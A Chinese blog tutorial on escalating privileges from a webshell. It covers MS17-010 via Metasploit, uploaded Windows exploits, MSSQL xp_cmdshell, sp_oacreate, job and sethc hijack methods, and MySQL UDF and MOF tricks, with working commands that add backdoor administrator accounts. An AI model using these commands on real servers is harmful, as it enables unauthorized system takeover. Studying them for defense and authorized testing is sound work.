概述

当我们渗透一台web服务器时,如果上传了webshell,大多数情况下我们只能得到较低的执行权限,无法控制服务器。此时,我们就需要利用各种途径,提升webshell的执行权限,从而进一步获得服务器权限。
分类
远程提权-远程代码执行RCE(Remote Code Execution)
使用kali集成的虚拟机,metasploitable-linux-2.0.0漏洞靶机来实现
以ms17010为例

 

 使用info可以查看信息,适用于什么系统,需要开放什么端口

这里通过查看可知适用于Windows 7 and Server 2008 R2 (x64),需要开放445端口

打开win2008的虚拟机,其ip为192.168.10.123,开放其445端口

 查看信息

 

 

 可以使用nmap+win2008的ip 来查看2008上有什么端口开放

输入exploit,可以看到远程主机49158端口和kali的444端口建立一个连接

 

 接着出现了win2008的命令行,权限为system,可以创建用户了

 

 

 

 上图是基于metasploit框架的一些可题权的漏洞,需要搭配合适的系统验证。

互联网上开放的一般只有80端口,很难直接使用这种,但是渗透到内网这种用的情况就比较多了。

接下来重点说一说本地提权

本地提权-本地代码执行LCE(Local Code Execution)
▪操作系统本地RCE漏洞
▪ 第三方软件漏洞
▪ 数据库利用

基于系统漏洞提权

 

▪ 1、获取webshell,获得上传文件和执行命令的接口

 

▪ 2、寻找可写目录。

 

▪ 3、上传cmd.exe、提权exp等工具。

 

▪ 4、使用exp进行提权,加账号等操作。
系统漏洞提权一般就是利用系统自身缺陷,使用shellcode来提升权限。为了使用方便,windows和linux系统均有提权用的可执行文件。
▪Windows的提权exp一般格式为MS08067.exe;
▪ Linux的提权exp一般格式为2.6.18-194或2.6.18.c
 
提权exp使用方法:
使exp执行即可,一般情况下是使用cmd.exe来执行。在日常渗透测试过程中,我们常常会先是拿到webshell再进行提权。所以提权脚本也常常会被在webshell中运行使用。
下图是常用的exp及其补丁对照

 

 我们可以使用下面的命令来匹配漏洞,查看有没有补丁,就可以利用相应的exe

systeminfo>a.txt&(for %i in (KB952004 KB956572 KB2393802 KB2503665 KB2592799 KB2621440 KB2160329 KB970483 KB2124261 KB977165 KB958644) do @type a.txt|@find /i “%i”||@echo %i Not Installed!)&del /f /q /a a.txt

 提权演示一:11046.exe

 使用大马80sec.asp,输入net user命令,查看用户权限,上传11046.exe

在执行CMD命令那,输入刚才上传的路径,执行,可以看到添加了一个用户到管理员组

输入net user查

提权演示二:pr.exe

和上面的步骤一样上传文件pr.exe

在执行CMD命令那,输入刚才上传的路径,执行,看到可以使用命令

查看权限为系统管理员权限

创建一个用户,并加入到管理员权限

查看用户,发现已创建完成

数据库提权

Mssql提权,需要得到sa和密码。

 

四种主要提权途径

 

▪ 1、xp_cmdshell

 

▪ 2、sp_oacreate和sp_oamethod提权

 

▪ 3、沙盒提权

 

▪ 4、JOB

 

Mssql提权工具——Sqltools

可以远程连接到数据库服务器,需要sa账号权限。Webshell直接运行(集成命令或者执行SQL语句)

1、xp_cmdshell提权

1、 查看是否存在xp_cmdshell存储过程。

and 1=(select count(*)from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell') --判断xp_cmdshell是否存在(返回1,存在;0,不存在)

2、 测试是否启用了xp_cmdshell.SQL 2000默认开启,SQL2005默认禁用

exec xp_cmdshell '命令' --尝试执行xp_cmdshell,如果能执行就开启了,不能执行,报错,错误如下

消息15281,级别16,状态1,过程xp_cmdshell,第1

SQL Server 阻止了对组件'xp_cmdshell' 的过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用sp_configure 启用'xp_cmdshell'。有关启用'xp_cmdshell' 的详细信息,请参阅SQL Server 联机丛书中的"外围应用配置器"

3、如果xp_cmdshell是禁用状态,则可以开启xp_cmdshell,启用即可执行。

EXEC sp_configure 'show advanced options', 1; --启用高级配置选项

Reconfigure;--更新配置

EXEC sp_configure 'xp_cmdshell', 1 ; --开启xp_cmdshell,如果关闭,需要将这里的1改为“0

RECONFIGURE;--更新配置

(四句话需要连用,每句话用分号隔开,格式如下图)

上面的问题解决后,就可以输入exec xp_cmdshell 'net user aaa aaa /add && net localgroup administrators aaa /add'

 

 

2、sp_oacreate和 sp_oamethod提权

sp_oacreatesp_oamethod两个过程分别用来创建和执行脚本语言,简单的说,基本DOS能执行的命令,用脚本就能执行,换言之就是xp_cmdshell能执行的sp_oacreatesp_oamethod同样能胜任。

1、开启sp-ascreate。默认2005中是禁用的。2000中默认开启。(语句需要同时执行)

exec sp_configure 'show advanced options', 1;

RECONFIGURE;

exec sp_configure 'Ole Automation Procedures',1;

RECONFIGURE; 

2、利用其提权创建账户(语句需要同时执行)

declare @cmd INT;

exec sp_oacreate 'wscript.shell',@cmd output;

exec sp_oamethod @cmd,'run',null,'net user hack hack /add','0','true';

exec sp_oacreate 'wscript.shell',@cmd output;

exec sp_oamethod @cmd,'run',null,'net localgroup administrators hack /add','0','true';

 3、沙盒提权

▪沙盒模式(SandBoxMode)是一种安全功能。在沙盒模式下,Access 只对控件和字段属性中的安全且不含恶意代码的表达式求值。如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的。例如,诸如Kill和Shell之类的函数可能被用来损坏计算机上的数据和文件,因此它们被视为不安全的。当Access以沙盒模式运行时,调用这些函数的表达式将会产生错误消息。

我们使用xp_regwrite这个存储过程对注册表进行写操作,关掉沙盒模式。SQL语句为:

EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0--执行成功沙盒模式就被关闭了。

 Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user sql$ 123 /add")'); --成功执行后就可以添加一个帐号和密码都为sql$的帐号了。同样的方法我们可以将他加到管理员组。 

Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators sql$ /add")');

注意:SQL2005默认是禁用Ad Hoc Distributed,执行命令时,会提示错误。需要开启

exec sp_configure 'show advanced options',1

reconfigure 

exec sp_configure 'Ad Hoc Distributed Queries',1

reconfigure

4、JOB提权

 

利用mssql的自动化任务功能,执行一个系统命令。

 

1、启动sqlagent服务

 

exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' 

 

2、创建任务X,这里x为任务名称,并执行命令,命令执行后的结果,将返回给文本文档q.txt

 

use msdb

 

exec sp_delete_job null,'x' 

 

exec sp_add_job 'x'

 

exec sp_add_jobstep null,'x',null,'1','cmdexec','cmd /c "net user hack hack /add &net user hack1 hack1 /add &net localgroup administrators hack1 /add>c:/q.txt"' 

 

exec sp_add_jobserver null,'x',@@servername 

 

exec sp_start_job 'x';(启动)

 

 

5、xp_regwrite函数进行映像劫持提权

在windows系统中按五次shift键,触发粘滞键

当CMDshell无法执行的时候,可以利用 regwrite和 regread函数劫持ethc.exe(此exe文件就是)

映像劫持:
▪ IFEO就是Image File Execution Options 在位于注册表的
▪ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options\
▪ 由于这个项主要是用来调试程序用的,对一般用户意义不大。默认是只有管理员和local system有权读写修改

在Mssql数据库中执行

利用regwrite函数修改注册表,起到劫持作用
- EXEC master..xp_regwrite@rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File ExecutionOptions\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'
▪ 检查是否劫持成功
- exec master..xp_regread'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'

这样我们连按五次shift键就可以调取cmd.exe了。接下来我们在另一台电脑上开启远程桌面,连接刚才的电脑,在登陆界面连按五次shift键,出现cmd窗口,可以新建一个用户,并添加到管理员组

Mysql提权途径——UDF提权

原理:UDF是mysql的一个拓展接口,UDF(Userdefinedfunction)让用户通过该接口可以自定义mysql函数。UDF定义需要DLL动态链接库文件支持。通过UDF提权基本步骤如下:

▪ 导出udf.dll文件到指定目录(有些webshell集成,直接导出即可,没有,则需要上传)
▪ 基于udf.dll创建自定义函数cmdshell
▪ 利用自定义函数,执行高权限cmd命令
 1、步骤导出udf.dll
 webshell(Udf.php)已经将udf.dll以二进制的形式集成进了php代码,可直接导出
导出时需注意
导出DLL文件,导出时请务必注意导出路径
▪ MYSQL 5.1以下版本导出路径:
- Win2000 C:\Winnt\udf.dll
- Win2003 C:\Windows\udf.dll 或C:\Windows\system32\udf.dll 2003
- Win2008 C:\Windows\udf.dll或C:\Windows\system32\udf.dll 2003
- 注:利用SQL语句执行时,需要双写C:\\Windows\\udf.dll
▪ MYSQL >5.1以上版本
- Mysql安装目录下的lib\plugin,例如c:\xampp\mysql\lib\plugin
- 注:lib\plugin默认不存在,则需要提前创建目录,否则导出失败。
- 创建lib\plugin可以借助大马的文件管理,找到mysql安装路径后创建

2、基于udf.dll创建自定义函数cmdshell
两种方法:
▪ 通过执行SQL语句实现
- create function cmdshell returns string soname‘udf.dll’
- //创建函数,函数名为cmdshell
- DROP FUNCTION IF EXISTS my_name;//删除函数
▪ 利用webshell中已经集成了创建该函数的命令
3、利用自定义函数,执行高权限cmd命令
▪ 通过sql语句执行cmd命令  创建用户,并加入到管理员组
- select cmdshell(‘net user user password /add & net localgroup administrators user /add’)

MySQL提权途径——mof提权
Windows托管对象格式 (MOF) 文件
目录:%SystemRoot%\System32\Wbem\MOF
c:/windows/system32/wbem/mof/目录下的nullevt.mof每分钟都会有一个特定的时间去执行一次。执行时间由mof文件中的“And TargetInstance.Second = 5”控制
1、将mof文件上传服务器目录,借助webshell(Silic.php)
2、利用root权限执行SQL语句:
select load_file('刚才上传的路径') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof’
实际执行时,创建账户与加入管理员组分开执行。
3、mof文件中包含的执行代码,在一段时间后会自动执行,从而创建账号。

 

 posted on 2020-05-27 15:21  骑着七彩祥云的少年  阅读(695)  评论(0编辑  收藏  举报